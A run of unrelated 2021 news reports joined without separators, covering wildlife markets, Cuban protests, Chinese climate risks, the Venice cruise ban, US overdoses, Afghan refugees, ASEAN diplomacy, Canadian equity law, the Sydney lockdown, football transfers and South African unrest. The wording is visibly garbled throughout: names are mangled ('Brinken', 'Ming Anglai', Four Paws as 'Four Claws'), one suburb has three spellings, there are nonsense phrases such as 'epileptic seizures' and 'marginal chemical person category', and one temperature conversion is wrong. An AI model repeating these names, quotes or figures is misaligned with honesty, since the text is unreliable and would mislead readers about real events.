
In Indonesia, this is the worst COVID-19 outbreak site in Asia, with more than 2.5 million cases and at least 67,000 deaths. Since the beginning of the pandemic, the Ministry of Environment and Forestry has been trying to persuade local officials to close wildlife markets across the country.

Officials in Solo City, Central Java Province also took note, and they ordered the culling of hundreds of bats in Depok, one of the countrys largest bird, dog and wildlife markets. But the victory proved to be short-lived.

When COVID-19 first hit and stopped selling them, they brutally eliminated hundreds of bats, said Lola Webber, the coalition coordinator of the Indonesian Dog Meat Free Coalition. But as far as I know from the source, everything is business as usual.

Marison Guciano, founder of Flight, an NGO that protects Indonesian birds, confirmed Webers statement. I went there a week ago and they still openly sell bats as well as snakes, rabbits, turtles, ferrets, beavers, cats, dogs, hamsters, hedgehogs, parrots, owls, crows and eagles.

Rats sold in a market in Langowan, Sulawesi Province, Indonesia in June [Courtesy of Four Paws]

The same situation is also happening in the wet market in Indonesia.

To commemorate World Zoonosis Day last week, the animal welfare organization Four Claws released photos taken in June, showing three different markets in North Sulawesi, 2,000 kilometers (1,243 miles) to the northeast Sell ??hundreds of solos of bats, mice, dogs, snakes, birds and other animals.

History always repeats itself

In April and May last year, a few months after the pandemic began, the global animal rights organization PETA began visiting wet markets in Vietnam, Thailand, Cambodia, the Philippines, Indonesia, and China, which are famous for selling wild animals.

Nirali Shah, PETAs Asian spokesperson, said: We hope that the new rules and regulations are in place, but we see that everything is business as usual. All the different species are locked in dirty cages, some are alive and some are dead. Sometimes in the same cage. These environments are very scary and stressful for animals, which weaken their immune systems and make them more susceptible to diseases that can cross species and then humans.

In some markets, we have seen animals taken out of their cages killed on countertops stained with blood from other species. Workers do not wear gloves and are completely unhygienic. This combination of risk factors is like a time bomb, waiting. A new pandemic begins, she said.

Where in China Total ban Shah said that as the coronavirus surged in Wuhan, a report on wildlife trade and consumption was released in February last year. The situation has improved, but only slightly.

You will never see exotic wild animals openly sold in Chinese vegetable markets. But they still sell all kinds of birds under unhygienic conditions. In many such markets, we found that if you want a certain animal, it doesnt matter. What it is, despite the ban, the supplier can buy it for you.

After the emergence of the coronavirus in Wuhan, which is believed to have originated from bats, China banned the trade and consumption of wild animals.NGOs say that if you know who to ask, its still possible to get banned animals [Alex Plavevski/EPA]

This is not the first time China has tried to end the bush meat trade.

In 2002, the wildlife market was closed due to SARS, but then reopened due to economic pressure. In 2016, the Chinese Academy of Engineering valued Chinas wildlife industry at USD 76 billion, of which the annual commercial activity of bush meat was USD 19 billion, and 6.3 million people were employed in China.

right direction

In Malaysia, before the pandemic, wild animals and bush meat were sometimes sold in wet markets. But it is more commonly obtained through direct sales and restaurants.

In August last year, the now retired police chief Abdul Hamid Bador gave the district police chief a month to ensure that there were no illegal restaurants selling bush meat in their area. The wildlife department was ordered to assist the police.

Does it mean that there are 300 to 500 people in an area, and there are no restaurants and illegal places selling rare animals? Abdul Hamid said at the time.

A series of eye-catching seizures of wild meat occurred in markets, restaurants and private houses.

Elizabeth John, a spokesperson for TRAFFIC, a non-governmental organization fighting illegal wildlife trade in Kuala Lumpur, said the raid was a signal of success and failure.

The formation of this joint working group between police and wildlife officials is definitely a step in the right direction, she said. However, even during the pandemic, we have seen epileptic seizures continue. This fact shows that the warning has not changed consumer attitudes. Despite the risks, the desire to eat wild animals still exists.
Global Internet monitoring company NetBlocks said that after the largest anti-government protests in decades, Cuba has restricted access to social media and messaging platforms, including Facebook and WhatsApp.

Thousands of Cubans participated in demonstrations in the communist-ruled country on Sunday to protest a severe economic crisis that caused shortages of basic commodities and power outages. They also protested the way the government handled the coronavirus pandemic and restricted civil liberties.

London-based NetBlocks stated on its website on Tuesday that Cubas Facebook, WhatsApp, Instagram and Telegram were partially disrupted on Monday and Tuesday.

NetBlocks Director Alp Toker said: The restricted patterns observed in Cuba indicate that messaging platforms used to organize and share protest news in real time are being continuously hit. At the same time, some connections are kept to keep the surface normal. 

The Cuban government stated that these demonstrations were orchestrated by counter-revolutionaries funded by the United States and manipulated the frustration of the economic crisis mainly caused by the decades-long US trade embargo.

In a country where public dissent is strictly controlled, the protests basically ended on Sunday night as security forces were deployed to the streets. President Miguel Diaz-Canel called on government supporters to go out and defend their Revolutionary struggle is rare in a country where public dissent is strictly controlled.

But according to official media reports on Tuesday, another protest broke out in Rajnella, a southern suburb of Havana late Monday. A man was killed and several others, including members of the security forces, were hospitalized with injuries.

It does not say what caused the death. So far, no other deaths and injuries have been officially confirmed.

According to two residents and video clips seen by Reuters, hundreds of people took to the streets of La Ginella, chanting slogans such as Down with Communism and Freedom of the Cuban People. A 49-year-old resident, Waldo Herrera, said that some people started throwing stones at the security forces, and they eventually responded by shooting.

I think the Communist Party has lost control and they cannot solve this situation, he said. People are tired of so much humiliation, so much suppression.

Late Monday, a Reuters witness saw dozens of people leaving Rajnella with clubs.

Activists say the government is using so-called rapid response brigadesa civilian recruitment group organized by the governmentto counter protesters.

Mobile internet interruption

They also accused the government of trying to interfere with communications. The mobile Internet launched more than two years ago has been a key factor behind the protests, providing Cubans with more platforms to express their dissatisfaction and allowing people to spread quickly on the streets.

According to witnesses from Reuters, in the capital, there have been regular and atypical disruptions to the mobile Internet since Sunday.

Facebook Inc, which owns Instagram and WhatsApp, said in a statement to Reuters late on Tuesday that it was concerned about restrictions on its services in Cuba.

We are opposed to shutdowns, throttling and other Internet interruptions that limit debate in our community. We hope to restore connectivity as soon as possible so that Cubans can communicate with family and friends, said Facebook spokesperson Joe Osborne.

When asked whether the government intends to restrict Internet connections, Foreign Minister Bruno Rodriguez said at a press conference that the situation is complex. He said that power outages may affect telecommunications services, Cuba will never give up the right to self-defense.

Telegram did not immediately respond to a request for comment. Twitter Inc stated that it did not find that its service was blocked.

Our weapon is the Internet. If they take the Internet, we will be defenseless, said Gino Ocumares, a Havana resident, who tried to connect to the Internet at government WiFi hotspots but failed. The government doesnt want people to see the truth.

provocative

The state-run Cuban News Agency stated that the Raginella protests were led by anti-social and criminal elements who tried to reach the police station with the aim of attacking its officials and destroying infrastructure.

Cuba claims that behind the protests are anti-social and criminal elements [File: Yamil Lage/AFP]

The agency said that when security forces stopped them, they destroyed houses, set fire to containers, damaged electrical wires in the suburbs, and attacked officials with stones and other objects.

The official media also reported on Tuesday that Raul Castro, the leader of the Cuban Communist Party who stepped down from power in April, attended Sundays Politburo meeting to resolve the provocation issue.

Diaz-Canel said in April that he will continue to consult with Castro on the most important issues.

The Conference of Cuban Bishops stated in a statement that it fears that the response to protests of legitimate concerns will be still, rather than trying to solve these problems, and will even backfire.

The reaction to the Latin American protests was ideologically divided. The Mexican president blamed the riots on the US embargo, while Chile and Peru urged the governments to allow democratic protests.

US President Joe Biden said on Monday that the United States firmly supports the Cuban people in safeguarding their universal rights.

State Department spokesperson Ned Price called on the Havana government to open all online and offline communication methods.

Price said at a press conference on Tuesday: Turn off technology and close information channels-this will not help solve the legitimate needs and wishes of the Cuban people.
Chinas major urban centers, including the capital Beijing and its most populous city, Shanghai, are expected to face hotter, longer summers, and wetter rainy seasons. A new study by Greenpeace maps extreme weather caused by climate change. Conditions, warned on Wednesday.

Greenpeace East Asia stated that the current risks of extreme heat and rainfall are highest in densely populated city centres, but this risk is growing rapidly in communities that are becoming more and more urbanized on the outskirts of major cities in the country.

This may mean that the elderly and those who work outdoors are more exposed to dangerous heat waves Flooding in Shanghai and other citiesLiu Junyan, head of Beijings Greenpeace Climate and Energy Project, said he called on the authorities to take more effective measures to prepare for this situation.

Urban areas still dont fully understand the types of changes, which changes will affect which areas and how, and it is enough to prepare for them, Liu told Al Jazeera.

The study found that Beijings average temperature is experiencing the greatest increase, rising at a rate of 0.32 degrees Celsius (0.58 degrees Fahrenheit) every 10 years. Since 2000, the frequency of heat waves has increased significantly.

The study added that considering that global emissions are expected to peak around 2040, the temperature rise in some parts of Beijing may exceed 2.6 degrees Celsius (4.7 degrees Fahrenheit) by 2100, and the summer will be extended by 28 days.

For Beijing, we know that the temperature rise this time will look like the temperature is 35 degrees [Celcius] Or higher temperature, Liu said.

It is vital that the temperature rise of 2.6 degrees means more exposure to heat waves. The elderly are at risk, and people who work hard outdoors, such as construction workers and delivery drivers, are also at risk.

According to some weather monitors and news reports, in February this year, the temperature in certain areas soared to 25.5 degrees Celsius (78 degrees Fahrenheit)-the highest recorded in winter.

Greenpeace stated that the summer in Shanghai will also be extended by 24 to 28 days, and the summer in southern Guangdong Province will be extended to more than 40 days. The extreme rainfall in parts of Shanghai and Guangdong Province will also increase by more than 25%, while the northwestern part of the region will experience more droughts.

Prior to Greenpeaces warning, similar studies showed that extreme heat associated with climate change led to increased risks in China.

A study published in the journal Nature Communications in July 2018 stated that Frequency and intensity of heat waves In the past 50 years, there has been a significant increase observed in China. It also warned that by 2100, as many as 400 million people in northern China, including Beijing, will be affected by the deadly heat wave.

A report published in December 2020 by the respected medical journal The Lancet stated that Chinas heat wave-related death rate increased four-fold from 1990 to 2019, and the death toll reached 26,800 in 2019.

Biggest polluter

On Monday, the Sustainable Cities Frontier magazine stated that Beijing and Shanghai are 23 Chinese cities among the top 25 urban centers in the world, and they generate 52% of the climate warming gas each year.

The list also includes Tokyo and Moscow. Cities from the United States, Europe, and Australia still lead in per capita emissions, although several Chinese cities, such as Yinchuan and Dalian, and Urumqi in Xinjiang, also have per capita emissions close to developed countries. Both Sun Yat-sen University and Guangdong Province pollution monitoring are in Guangzhou.

In September 2020, President Xi Jinping stated that Chinas goal is to achieve a peak in carbon dioxide emissions by 2030 and achieve net zero emissions by 2060, which is part of Chinas commitment to curb climate change.

Guangzhous vast urban area is located in the coastal area of ??southern China. It occupies a prominent position in the Greenpeace East Asia study, which found that 73 of the 98 heat waves in the region in the past 60 years occurred after 1998.

The report pointed out that the average number of days of extreme high temperature (35C/95F or higher) in Guangzhou has risen from 16.5 days per year to 23.7 days per year.

Summer in 2019, Beijing elderly people use electric fans to cool down [File: Fred Dufour/AFP]

Research by Greenpeace predicts that the average temperature change in the southernmost part of Guangdong Province will be as high as 2 degrees Celsius (35.6 degrees Fahrenheit), effectively extending the summer by more than 40 days.

In May of this year, rising temperatures caused a shortage of electricity in Guangdong Province, prompting local power cuts, which also affected the productivity of the manufacturing industry.

According to the electricity curtailment policy, we were told to suspend production for two days a week, a worker surnamed Miao from a copper factory in the province told the state-run Global Times. As a result, the factorys scheduled delivery date was delayed.

From extreme heat to devastating floods

Due to the extreme high temperature, Guangdong Province is also expected to face more severe flooding during the rainy season. Greenpeace stated that extreme rainfall will increase sharply in the southeastern part of the province where Shenzhen is located, and extreme rainfall in the worst-hit areas will increase by more than 25%.

Similarly, Shanghai and surrounding areas in the Yangtze River Delta are also facing the dilemma of flooding caused by extreme rainfall.

From 1961 to 2019, the average accumulated rainfall in the Yangtze River Delta region of Shanghai was 1225.6 mm (48.3 inches). Although it has been fluctuating over the years, Greenpeace stated that it has been steadily growing at an overall rate of 34.6 mm (1.4 inches) every 10 years.

The year with the highest rainfall was 2016, with a cumulative rainfall of 1666.9 mm (65.6 inches).

According to Greenpeace, cities with the highest population and economic density, such as Shanghai, Suzhou, Wuxi, Changzhou, and Ningbo, are particularly vulnerable to extreme rainfall.

Aerial photos showing the Yangtze River in Wuhan, Hubei Province, central China during the July 2020 flood [File: Stringer/China Out via AFP]

Flood is already a serious problem in Shanghai. We expect more floods in the future, and the destructive effects of floods will be even greater, Liu said.

In 2020, Severe floods affected many cities along the Yangtze River, The longest river in Asia. According to government data, in the countrys worst floods in 30 years, more than 140 people were killed, 38 million people were affected, and 28,000 houses were destroyed.

OhLiu pointed out that areas that have not experienced too many floods in Chinese history, such as Hetian in Xinjiang, also known as Hetian, have also been attacked.

The Shanghai metropolis and surrounding urbanized areas are also experiencing rising temperatures.

In Hangzhou, southwest of Shanghai, in the past 60 years, the temperature has reached 35 degrees Celsius (95 degrees Fahrenheit) or above 429 times, of which 177 (41% of the total) have occurred since 2001.

The highest temperature recorded by the Hangzhou Meteorological Station was 41.6C (106.88F) in 2013, followed by 41.3C (106.34F) in 2017.

Greenpeaces Liu said that Chinas major cities should predict and prepare for weather disruptions, adding that scientific and systematic investigations of the impact of climate change are needed.

He also said that small cities with the fastest growing risk of extreme weather also need to better deal with different types of climate risks.

Cities need to monitor comprehensively and develop early warning systems for vulnerable communities and important infrastructure. Faced with this risk, the interaction of science and policy will determine whether vulnerable communities can receive proper attention and care, Liu said.
Declaring the waterways of Venice a national monument, Italy has banned mammoth cruise ships from entering the lagoon city, which may be declared an endangered World Heritage Site by the United Nations later this month.

Italys Minister of Culture, Dario Franceschini, stated that the ban was urgently passed at a cabinet meeting on Tuesday and will take effect on August 1. It applies to the lagoon basin near St. Marks Square and the Giudecca Canal, Venices main marine artery.

Franceschini said the government decided to act quickly to avoid specific risks, namely that the United Nations cultural agency, UNESCO, included Venice on its endangered world heritage list after meeting in Beijing later this week.

The cabinet decree also established an unbreakable principle, declaring the urban waterways of the Saint Mark Basin, the Saint Mark Canal and the Giudecca Canal as national monuments, the minister added.

Before the coronavirus pandemic severely restricted international travel, thousands of one-day cruise ships overwhelmed Venice and its fragile marine environment.

For decades, environmentalists and cultural heritage have been fighting commercial interests because the cruise industry is the citys main source of income.

Franceschini told reporters that the governments decision has been waited for by UNESCO and all those who have been to Venice, who are disturbed by these huge ships passing through the most fragile and beautiful places in the world.

People applauded the 83,000-ton, 16-deck MSC Orchestra departing from Venice on June 5. There are disagreements among environmentalists, who demand the permanent diversion of huge ships away from fragile lagoon cities, and the work of pro-cruise advocates depends on their work. Tourism Industry. (Antonio Carani/Associated Press)

UNESCO recommended last month that Venice be included in the institutions endangered world heritage list.

The UN cultural agency did not immediately comment.

Earlier this year, the Italian government decided to implement the ban, but did not set a start date.

But now, in view of the upcoming review by UNESCO, the government decided to vigorously accelerate the implementation of this initiative, Franceschini said in a statement.

Another impetus was the surprising appearance of an 83,000-ton cruise ship in early June. This was the first time sailing along the Giudecca Canal since the pandemic in early 2020, which effectively suspended Mass tourism in Venice.

Smaller, sustainable ships are still popular

The ban applies to ships weighing more than 22,600 tons or more than 180 meters in length, or with other characteristics, which will cause serious pollution or unbearable pollution to the environment of Venice.

The office of Italian Prime Minister Mario Draghi pointed out that ships that do not possess any of these characteristics and are therefore considered sustainable to the Venetian environment can continue to dock in Venice.

The Prime Ministers Office pointed out that compared to the thousands of people carried by large cruise ships, approved ships can usually carry about 200 passengers.

With only a few hours of landing time in Venice, passengers of large liners tend to gather around classic tourist attractions such as St. Marks Square, adding to the already crowded public space of the city.

Cars are not allowed in the historic city of Venice, which is made up of narrow alleys and many bridges connecting passages. During the peak tourist season in Venice, which occupies a lot of time throughout the year, navigation as a pedestrian is a daunting challenge.

The Cabinet Decree also established a compensation mechanism for navigation companies and others affected by the ban.

Before establishing more suitable docking areas elsewhere in the waters outside the center of Venice, the government has approved the establishment of at least four temporary docking points near the industrial port of Marghera in the northwestern Adriatic Sea.
Prince of Wales recalls first parachute

The Prince of Wales recalled his first parachute landing in Dorset nearly 50 years ago, Initially it was inverted and my legs were on the rigging line.

Charles, 72, gave a speech while showing the new colors to the parachute regiment at a ceremony held at Merville Barracks in Colchester, Essex.

On July 29, 1971, he was 23 years old when he landed from Andover to Studland Bay in Dorset.

At that time, he received training as a jet pilot during a four-month internship in the Royal Air Force.

After he was appointed as a colonel of the parachute regiment in 1977, he asked to join the parachute training course of the British Royal Air Force Britz Norton in 1978.

Speaking to soldiers, veterans and family members on Tuesday, he said: I can hardly believe that I have been your colonel for 44 years, and it has been almost 50 years since I landed on a parachute for the first time. At first, my legs were inverted. The rigging line entered Studland Bay in Dorset, where I was pulled out of the water by the Royal Marines.
The US government reported on Wednesday that during the COVID-19 pandemic, the number of overdose deaths soared to a record 93,000 last year.

This estimate far exceeds the high of about 72,000 drugs Overdose death Reached the previous year, an increase of 29%.

This is an astonishing loss of human life, Brown University public health researcher Brandon Marshall, tracking overdose trends, told the Associated Press.

He added that the country is already fighting the worst drug overdose epidemic, but it is clear that COVID has greatly exacerbated the crisis.

Experts say the lockdown and other pandemic restrictions isolate drug addicts and make treatment more difficult.

Like all other behavioral healthcare companies, we must listen to what the governor has said, shut down on-site treatment and switch to Zoom, Kate Judd, project director at the Coastline Recovery Center in San Diego, California, told Reuters News. mechanism.

We tried our best. We tried to make lemonade with lemons, but it was not as effective as face-to-face, face-to-face, person-to-person connection.

Jordan McGlashen died of a drug overdose in his apartment in Ypsilanti, Michigan last year. On May 6, the day before his 39th birthday, he was pronounced dead.

Its really hard for me to think about the way Jordan died. He was alone, emotionally suffering, and felt he had to use it again, said his brother Colin McGrason, who publicly described his brothers poison in his obituary. addiction.

Jordan McGlashens death was attributed to heroin and fentanyl.

Poison Supply

Although prescription painkillers have driven the overdose epidemic in the country, they were first replaced by heroin and then heroin. Fentanyl, A dangerous strong opioid drug, in recent years. Fentanyl was developed to treat severe pain caused by diseases such as cancer, but it is increasingly being sold illegally and mixed with other drugs.

Shannon Monnat, associate professor of sociology at Syracuse University, who studied the geographic patterns of overdose, said: It is this increasingly toxic drug supply that is really driving the surge in overdose.

To some extent, almost all of these increases are fentanyl contamination. Heroin is contaminated. Cocaine is contaminated. Methamphetamine is contaminated.

Monart said there is currently no evidence that more Americans started taking drugs last year. Conversely, the increased number of deaths is likely to be people who are already battling addiction. Some people told her research team that suspending evictions and extending unemployment benefits allowed them to have more money than usual. They said When I have money, I will hoard my (medicine) supply, she said.

Part of Americas deadliest year

Overdose deaths are just one aspect of the deadliest year in American history overall. About 378,000 death toll Due to COVID-19, more than 3.3 million people died across the country.

The Centers for Disease Control and Prevention reviewed death certificates to arrive at an estimate of drug overdose deaths in 2020. An estimate of over 93,000 translates into an average of more than 250 deaths per day, or approximately 11 deaths per hour.

The increase of 21,000 is the largest year-on-year increase since the increase of 11,000 in 2016.

More historical background: According to the Centers for Disease Control and Prevention, the total number of deaths from drug overdose reported in the United States in 1970 was less than 7,200 when the heroin epidemic was raging in American cities. There were about 9,000 people in 1988, which was about the peak of the crack epidemic.

The proliferation of fentanyl is one of the reasons why some experts predict that the number of deaths from drug overdose will not drop significantly this year. Although there is no national data yet, some state data seems to support their pessimism. For example, Rhode Island reported 34 and 37 overdose deaths in January and February, respectively-the month with the highest number of deaths in these months in at least five years.

For Collin McGlashen (Collin McGlashen), last year was an incredibly dark period that began in January when the familys beloved patriarch died of cancer.

McGlashen said that the death of their father left his musician brother Jordan into chaos.

He said: Someone can do well for a long period of time, and then it deteriorates in an instant.

Then came the pandemic. Jordan lost his job. This is a final drop.
In two days, at least 347 refugees from Afghanistan crossed the border into Tajikistan, a Central Asian country, and fled a full-scale offensive by Taliban militants when foreign troops retreated.

The state information agency Khovar quoted Tajik border guards on Wednesday as saying that the refugees flee the Taliban to save their lives and added that two babies died during the transit.

With the retreat of foreign troops, fighters in recent weeks have placed large areas of the country under their control.

In June, they captured Afghanistans main Hirhan bandar It is located on the border of Tajikistan in the northernmost part of Afghanistan, about 50 kilometers (30 miles) from the city of Kunduz.

On Wednesday, they claimed to have taken a strategic border crossing Rotating Poldak At the border with Pakistan.

However, the Afghan Ministry of Internal Affairs insisted that the attacks by armed groups were repelled and government forces had taken control.

Afghan refugees

Tajikistan said the refugees included about 64 boys and 113 girls who crossed the border from Afghanistans Badakhshan Province with herds of livestock.

Hoval said in a statement: The Tajik border guards, under the guidance of humanitarian principles and good-neighborly friendship, allow Afghan refugees to enter.

It said the group of Afghans were placed in two locations in the Murghab Mountains in the eastern part of the former Soviet Union.

Border guards said they confiscated more than 3.5 kilograms (7.7 pounds) of drugs from Afghans who crossed the border into Tajikistan.

The refugees brought livestock, including 300 yaks, 3 camels and 30 horses.

Border guards stated that the situation along the common border with Afghanistan has been brought under control.

Earlier Wednesday, the Kremlins special envoy to Tajikistan, Zamir Kabulov, told the Russian news agency RIA Novosti that Moscow is closely monitoring the situation on the border between Afghanistan and Central Asian countries.

But he added that the Taliban reiterated that they would not launch attacks on Afghanistans neighbors.

The challenge we face is to act seriously and sincerely based on these beliefs. Because there are different agendas at work. The world opposes the seizure of power by violence and force. It will not legitimize such behavior.  Dr. S. Jaishankar (@DrSJaishankar) July 14, 2021

Also on Wednesday, the Foreign Minister of the Shanghai Cooperation Organization (Shanghai Cooperation Organization) called on the Afghan side to stop violence and start peace talks on the future of Afghanistan.

The SCO foreign ministers issued a joint statement after a meeting in the Tajik capital Dushanbe, expressing concern about the increasing concentration of illegal organizations and armed groups in the northern part of the country.

One of the most important factors to maintain and strengthen the security and stability of the SCO space is to resolve the situation in Afghanistan at an early date, the diplomat said.

They also urged the Afghan government to step up efforts aimed at restoring peace, developing the national economy, and combating terrorism and drug crimes.

Subramanyam Jashankar, Minister of Foreign Affairs of India, said on Twitter: The world opposes the seizure of power through violence and force. It will not legitimize such acts.

Recently, the CNN Broadcasting Company stated that a verified video appeared, showing a group of Afghan commandos were shot and killed by the Taliban in June after surrendering.

On Wednesday, U.S. State Department spokesperson Ned Price told reporters: I should say that we have no reason to suspect that this video depicts a terrible scene. The killing of unarmed people  in this case, a massacre  This is a brutal act. This is a heinous sight, and of course we condemn it.
In the first meeting with ASEAN, the US Secretary of State called for action against Myanmar and rejected Chinas claims in the South China Sea.

Anthony Brinken, a senior US diplomat, expressed deep concern about the military coup in Myanmar and called on Southeast Asian countries to take action to end violence in the country and restore democracy.

Brinken made the call during a meeting with the Foreign Minister of the Association of Southeast Asian Nations (ASEAN) on Wednesday.

Since the military seized power in a coup detat on February 1st and plunged the country into turmoil, ASEAN has been leading its major diplomatic efforts towards member Myanmar.

According to the Political Prisoners Aid Association, at least 902 people have been killed and tens of thousands of people have been displaced in fighting between security forces and newly formed armed groups across Myanmar.

In a video conference with ASEAN foreign ministers on Wednesday, Brinken urged the 10-member group to take immediate action on the five-point consensus reached in April, according to a report. statement By the State Council.

The ASEAN plan calls for an end to violence in Myanmar, the start of dialogue between the parties, the expansion of humanitarian access to conflict-affected areas, and the appointment of a special envoy.

The plan-coup leader Ming Anglai agreed-also got backing Russia is the main weapon and training supplier for the Burmese army.

However, the leaders of the coup did not show any intention to implement the plan, but reiterated their own, completely different plan to restore order and democracy in Myanmar.

The lack of action by the military has frustrated the most outspoken members of ASEAN, including Indonesia, Malaysia and Singapore. They also demanded the release of detained civilian leaders, including Aung San Suu Kyi.

Brinken supported this request on Wednesday, urging ASEAN to take joint action to release all those unjustly detained in Myanmar and restore the countrys democratic transition.

The meeting between the US Secretary of State and ASEAN was his first meeting since President Joe Biden took office in January. At the time, diplomats and others worried that Washington was not paying enough attention to the regions growing regional strategy to combat it. important. China.

The US State Department stated that Brinken on Wednesday reiterated the United States commitment to the centrality of ASEAN and emphasized the important role of ASEAN in the Indo-Pacific regional structure.

The statement said that he also continued to emphasize Washingtons rejection of Chinas illegal maritime claims in the South China Sea, and stated that Washington stands with Southeast Asian advocates before (China) coercion.
Federal legislation designed to ensure equal opportunities for employees of underrepresented groups is undergoing the most significant reform since it was introduced 35 years ago.

The Liberal government announced today that it has convened a new working group to review the Employment Equity Act, which the government describes as an important tool for promoting fairness, equality, and diversity in federally regulated workplaces.

legislation It is stipulated that no ones employment opportunities shall be rejected for reasons unrelated to ability. It stated that creating these conditions needs to take special measures and adapt to differences.

Labor Minister Filomena Tassi said the legislation improved the status of various groups who are marginalized in the workplace, but the bill was overdue to be updated.

Its about bringing this behavior into the 21st century, Tasi said.

She added that future legislative changes will definitely lead to a fairer workplace.

The 13-member working group that conducted the review was asked to make recommendations to modernize the legislation. The working group will hold its first meeting on July 15 and is expected to submit its final report in early 2022.

Approximately 1.3 million people are employed in federally regulated industries and workplaces, accounting for approximately 6% of the Canadian workforce.

The review may lead to a more precise marginal chemical person category

The existing Employment Equality Act identifies four groups that face additional barriers in the workplace: women, indigenous people, disabled people, and members of people of color.

These categories were defined when the Act was introduced in 1986. The legislation was mainly inspired by the Royal Employment Equality Commission in 1984, which was led by Rosalie Abella before being appointed to the Supreme Court.

Among other things, the working group will be responsible for reviewing these groups, which may lead to the creation of more precise and diverse underrepresented worker categories.

Adelle Blackett, a professor of law at McGill University who was appointed chair of the working group, said that, for example, LGBTQ people may need to be represented in the next iteration of the bill.

Adelle Blackett, a professor of law at McGill University, will chair a 13-member working group reviewing Canadian employment equity legislation. (McGill University)

Now is the time, Blackett told CBC News. We have a very important opportunity to achieve equality.

Blackett said the national atrocities committed against the Canadian boarding school system and the settlement of George Floyds murder in the United States are driving efforts to address systemic inequality.

Its hard not to think about how to build a meaningful and inclusive legacy, including in our workplace, Blackett said.

according to The latest report on fairness in the federally regulated workplace, Women, Aboriginals, and people with disabilities are still under-represented in federally regulated workplaces.

The representation of people of color is more favorable. Based on their overall share of the labor force, these workers fill slightly more jobs than expected.

Unifor says existing bill failed to materialize

The establishment of the review task force follows the recent efforts of the Liberal government to reduce inequality in a range of sectors-including new pay equality legislation that will take effect at the end of August.

Critics, including the Federal New Democratic Party, described some of the announcements as pre-election manipulation.

New Democratic Party women and gender equality commentator Lindsay Mathyssen said that last weeks news about pay fairness followed the Liberal Partys recent record of providing pretty words rather than substantive actions.

Unifor, the largest union representing federally regulated private sector workers, said it urgently needs to amend the bill.

Unifor National President Jerry Dias (Jerry Dias) said: Although the Employment Equity Act has been in force for 35 years, it has failed to deliver on its promise. Wrote on TwitterHe called on the federal government to ensure that workers opinions are taken into account during the review.

Updated terms, expanded inclusiveness, and prioritized enforcement will go a long way, Dias added.
The governor of New South Wales stated that the restrictions will continue until at least July 30 after 97 new local cases have been confirmed.

Authorities have extended the lockdown in Sydney for at least another 14 days because the COVID-19 outbreak continues even after the three-week restriction was imposed in Australias largest city.

New South Wales Governor Gladys Berejiklian said on Wednesday that after she announced 97 new locally transmitted cases, the restrictions will continue until at least July 30, slightly more than the previous day. increase.

I appreciate that people feel stressed and upset about what is happening, including myself, Berejiklian said.

None of us want to be in this situation.

We hope to get rid of this blockade as soon as possible, which is why we have the existing setup, the state governor said.

Of the 97 new cases, 24 were infectious in the community. A total of 61 cases are related to known clusters and 36 cases are under investigation.

Authorities say that in the past 24 hours, more than 65,000 people have come for testing.

Berejiklian has repeatedly stated that the blockade, Effective from June 26, And will only be lifted when the number of newly reported cases spread in the community is close to zero.

As the highly contagious delta virus became popular, the harbor city of 5 million residents began to implement a two-week lockdown in late June.

Many non-essential businesses are closed, most students stay at home, and residents are only allowed to go out for necessary activities and exercises.

The number of hospitalization surged

Due to the outbreak in Sydney, 71 COVID-19 patients are now hospitalized, 20 of whom are in the Intensive Care Unit (ICU), one in their 20s and two in their 30s.

The Chief Health Officer of New South Wales said: Yes, this is unlikely to cause hospitalization for young people, but it may still cause serious illness in the ICU, so it is important to protect yourself and your loved ones, so please follow public health advice. Kerry Shant said.

The closure has now been extended twice After restrictions failed to contain the number of daily cases.

Authorities said on Wednesday that more than 65,000 people had come for testing in the past 24 hours [Brendon Thorne/AFP]

Since the first case was detected in the eastern suburbs of the city in mid-June, the total number of infections is currently slightly less than 900. According to reports, two people have died, this is the countrys first case this year.

According to a list of potential exposure sites published by health authorities overnight, the virus appears to have spread to previously unaffected areas of the city.

The epidemic has also spread to remote areas. A case was found in Goulburn, about 200 kilometers (125 miles) southwest of Sydney, and has crossed the border to Victoria. Three cases were reported on Tuesday.

Rapid lockdown, rapid contact tracing, and strict social distancing rules have helped Australia keep the number of COVID-19 below those of many other developed countries, with just over 31,300 cases and 912 deaths.

Slow vaccination schedule This means that less than 10% of the population has received two doses of the vaccine.

Authorities said on Wednesday that in New South Wales, health workers had received more than 2.7 million doses of the vaccine.
Good morning, Gunners fans

Hector Bellerin (Hector Bellerin) was photographed heading to Arsenal for the Scottish pre-season tour in an uncertain future.

It is believed that the right-back is willing to leave Arsenal after playing for the club for 8 years. He joined the youth team.

Both Inter Milan and Paris Saint-Germain are in contact with him, and manager Mikel Arteta seems ready to raise money by selling unwanted players this summer.

But for now, Bellerin will start with a friendly against Hibernian and participate in Arsenals pre-season preparations.

At the same time, according to a report by Gazzetta dello Sport via FourFourTwo, Arsenal have told Roma that they are only willing to accept Granit Xhakas 17 million offer.

According to reports, the unscrupulous midfielder will leave the Gunners on personal terms, and Mourinhos team has reportedly agreed.

But it is believed that the Serie A giants have not yet reached the price Arsenal offered for this player.

It is believed that the leadership qualities of the Swiss captain-he has played 220 times at Arsenal-attracted Roma.

Finally, according to reports, Portuguese star Renato Sanchez has become Arsenals midfield transfer target.

Sport Witness claims that the Lille Ace is one of three offensive midfielders that the Gunners seek to strengthen their options before next season.

Lyons Houssem Aouar and Rennes Eduardo Camavinga are also on the Gunners hit list.
As the authorities failed to stop the escalating violence and robbery, more than 70 people were killed and more than 1,000 arrested within five days.

South Africa suffered violence and robbery for five consecutive days, More than 70 people killed Dissatisfaction with the imprisonment of former President Jacob Zuma escalated into the worst unrest in decades.

Following The former leader goes to jail, Protests and mass robberies have expanded to anger at the inequality that still exists 27 years after apartheid ended.

Strict social and economic restrictions aimed at curbing the spread of COVID-19 have exacerbated poverty.

More than 1,200 people were arrested for lawlessness raging in impoverished areas in two provinces. On Tuesday, a community radio station there was ransacked and forced to stop broadcasting. Some COVID-19 vaccination centers were also closed, interrupting urgent needs Inoculation work.

Police said many of the deaths in Gauteng and KwaZulu-Natal provinces occurred in chaotic stampede, and thousands of people stole food, electrical appliances, alcohol and clothing from shops.

To date, the deployment of 2,500 soldiers to support the overwhelmed South African police has failed to stop the rampant robbery.

The following are the latest updates:

1 hour ago (06:53 GMT)

South Africas largest oil refinery temporarily closed

According to an industry official, SAPREF, South Africas largest oil refinery, has been temporarily closed in the eastern port city of Durban because the country is struggling with large-scale robberies and the worst violence in years.

The nameplate capacity of SAPREF is 180,000 barrels per day, which accounts for approximately 35% of the refining capacity of Africas most industrialized economy (net importer of petroleum products).

1 hour ago (06:28 GMT)

A company was set on fire during large-scale robberies and protests in Durban, South Africa [EPA]

